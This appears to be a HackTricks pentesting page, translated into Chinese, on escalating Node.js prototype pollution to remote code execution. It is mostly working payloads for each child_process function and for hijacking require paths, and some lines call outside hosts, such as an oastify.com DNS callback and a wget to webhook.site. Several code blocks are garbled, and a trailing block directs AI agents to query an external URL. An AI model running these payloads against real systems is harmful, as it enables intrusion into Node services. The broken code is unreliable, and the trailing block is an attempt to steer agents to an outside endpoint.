# Prototype Pollution to RCE

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 可能受到影响的代码

想象一个真实的JS使用以下代码：

```javascript
const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');
```

## 通过环境变量实现PP2RCE

**PP2RCE** 意味着 **原型污染到远程代码执行**（Remote Code Execution）。

根据这个[**解说**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)，当使用 **`child_process`** 中的某个方法（如 `fork` 或 `spawn` 或其他方法）生成一个 **进程** 时，它会调用方法 `normalizeSpawnArguments`，这个方法利用 **原型污染小工具来创建新的环境变量**：

```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```

### **污染 `__proto__`**

{% hint style="warning" %}
请注意，由于`node`的`child_process`库中的`normalizeSpawnArguments`函数的工作方式，当调用某些内容以为进程设置新的环境变量时，你只需要**污染任何内容**。\
例如，如果你执行`__proto__.avar="valuevar"`，进程将被生成一个名为`avar`，值为`valuevar`的变量。

然而，为了使**环境变量成为第一个变量**，你需要**污染**`.env`属性，并且（仅在某些方法中）该变量将成为**第一个变量**（从而允许攻击）。

这就是为什么在以下攻击中\*\*`NODE_OPTIONS`\*\*不在`.env`中的原因。
{% endhint %}

{% code overflow="wrap" %}

```javascript
const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
```

{% endcode %}

## DNS 交互

使用以下有效载荷，可以滥用我们之前讨论过的 NODE\_OPTIONS 环境变量，并通过 DNS 交互检测是否起作用：

```json
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}
```

或者，为了避免WAF要求域名：

```json
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}
```

## PP2RCE漏洞child\_process函数

在这一部分中，我们将分析`child_process`中的**每个函数**，以执行代码并查看是否可以使用任何技术来强制该函数执行代码：

<details>

<summary><code>exec</code>利用</summary>

{% code overflow="wrap" %}

```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
```

{% endcode %}

</details>

<details>

<summary><strong><code>execFile</code>利用</strong></summary>

\`\`\`javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

````
**`execFile`** 要工作，**必须执行 node** 以使 NODE\_OPTIONS 起作用。\
如果**没有**执行 **node**，您需要找出如何通过环境变量**修改执行**任何正在执行的内容并设置它们。

**其他**技术**无需**此要求，因为可以通过原型污染**修改执行内容**。（在这种情况下，即使您可以污染 `.shell`，也不会污染正在执行的内容）。
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
````

</details>

<details>

<summary><strong><code>spawn</code>利用</strong></summary>

\`\`\`javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child\_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.\_\_proto\_\_.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.env = { "EVIL":"console.log(require('child\_process').execSync('touch /tmp/spawn-environ').toString())//"} p.\_\_proto\_\_.NODE\_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',\[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',\[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working // Not using stdin

// Windows // NOT working after require(fix) without options const { spawn } = require('child\_process'); p = {} p.**proto**.shell = "\\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',\[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

````
</details>

<details>

<summary><strong><code>execFileSync</code>利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
````

</details>

<details>

<summary><strong><code>execSync</code>利用</strong></summary>

\`\`\`javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.\_\_proto\_\_.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.\_\_proto\_\_.env = { "EVIL":"console.log(require('child\_process').execSync('touch /tmp/execSync-environ').toString())//"} p.\_\_proto\_\_.NODE\_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} p.**proto**.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.**proto**.argv0 = "console.log(require('child\_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.**proto**.NODE\_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');

// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} p.**proto**.argv0 = "/usr/bin/vim" p.**proto**.shell = "/usr/bin/vim" p.**proto**.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');

// Windows // Working after kEmptyObject (fix) const { execSync } = require('child\_process'); p = {} p.**proto**.shell = "\\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');

````
</details>

<details>

<summary><strong><code>spawnSync</code>利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
````

</details>

## 强制执行Spawn

在之前的示例中，您看到了如何触发一个功能，该功能需要调用`spawn`（用于执行某些操作的`child_process`的所有方法都会调用它）。在之前的示例中，这是代码的一部分，但如果代码没有调用它呢。

### 控制require文件路径

在这个[其他解释](https://blog.sonarsource.com/blitzjs-prototype-pollution/)中，用户可以控制文件路径，其中将执行`require`。在这种情况下，攻击者只需要找到系统中将在导入时执行spawn方法的`.js`文件。\
一些常见文件导入时调用spawn函数的示例包括：

* /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* 查找下面的更多文件

以下简单脚本将搜索来自`child_process`的调用，而不带任何填充（以避免显示在函数内部的调用）：

```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
```

```html

</div>

<details>

<summary>先前脚本发现的有趣文件</summary>

* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/npm/scripts/**changelog.js**:16:`const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)`
* node\_modules/detect-libc/bin/**detect-libc.js**:18:`process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);`
* node\_modules/jest-expo/bin/**jest.js**:26:`const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });`
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/runtypes/scripts/**format.js**:13:`const npmBinPath = execSync('npm bin').toString().trim();`
* node\_modules/node-pty/scripts/**publish.js**:31:`const result = cp.spawn('npm', args, { stdio: 'inherit' });`

</details>

### 通过原型污染设置要求文件路径

<div data-gb-custom-block data-tag="hint" data-style='warning'>

**先前的技术要求**用户**控制要求的文件路径**。但这并不总是正确的。

</div>

然而，如果代码在原型污染后执行要求，即使**你无法控制要求的路径**，你**可以滥用原型污染来强制执行不同的路径**。因此，即使代码行类似于 `require("./a_file.js")` 或 `require("bytes")`，它将**要求你污染的包**。

因此，如果在原型污染后执行了要求且没有生成函数，这是攻击方式：

* 找到系统中的一个**`.js`文件**，当**要求**时将**使用`child_process`执行某些内容**
* 如果你可以上传文件到攻击的平台，你可以上传一个类似的文件
* 污染路径以**强制要求加载`.js`文件**，该文件将使用`child_process`执行某些内容
* **污染环境/cmdline**以在调用`child_process`执行函数时执行任意代码（参见最初的技术）

#### 绝对要求

如果执行的要求是**绝对的**（`require("bytes")`）且**包中不包含`package.json`文件中的主要内容**，你可以**污染`main`属性**并使**要求执行不同的文件**。

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='exploit'>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");
```

#### 相对路径加载 - 1

如果加载的是**相对路径**而不是绝对路径，您可以让节点**加载不同的路径**：

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```

#### 相对路径 require - 2

{% code overflow="wrap" %}

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

{% endcode %}

\`\`\`javascript const { fork } = require('child\_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); \`\`\` #### 相对路径 require - 3

类似于前一个示例，这个漏洞在[**这篇文章**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)中被发现。

```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')
```

## VM Gadgets

在论文<https://arxiv.org/pdf/2207.11171.pdf>中还指出，可以利用\*\*`vm`**库的某些方法中的**`contextExtensions`**的控制作为一个gadget。**\
**然而，就像之前的**`child_process`**方法一样，在最新版本中已经被**修复\*\*。

## Fixes & Unexpected protections

请注意，如果正在访问的对象的**属性**是**undefined**，则原型污染会起作用。如果在**代码**中为该**属性**设置了一个**值**，则**无法覆盖**它。

在2022年6月，从[**此提交**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)中，变量`options`不再是`{}`，而是\*\*`kEmptyObject`**。这样可以**防止原型污染**影响**`options`**的**属性**以获取RCE。**\
**至少从v18.4.0开始，这种保护已经**实施\*\*，因此影响这些方法的`spawn`和`spawnSync`**利用**（如果未使用`options`）**不再起作用**！

在[**此提交**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)中，还**在某种程度上修复了**vm库中\*\*`contextExtensions`**的**原型污染\*\*，将选项设置为\*\*`kEmptyObject`**而不是**`{}`\*\*。

### **其他 Gadgets**

* <https://github.com/yuske/server-side-prototype-pollution>
* <https://github.com/KTH-LangSec/server-side-prototype-pollution>

## References

* <https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/>
* <https://blog.sonarsource.com/blitzjs-prototype-pollution/>
* <https://arxiv.org/pdf/2207.11171.pdf>
* <https://portswigger.net/research/server-side-prototype-pollution>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
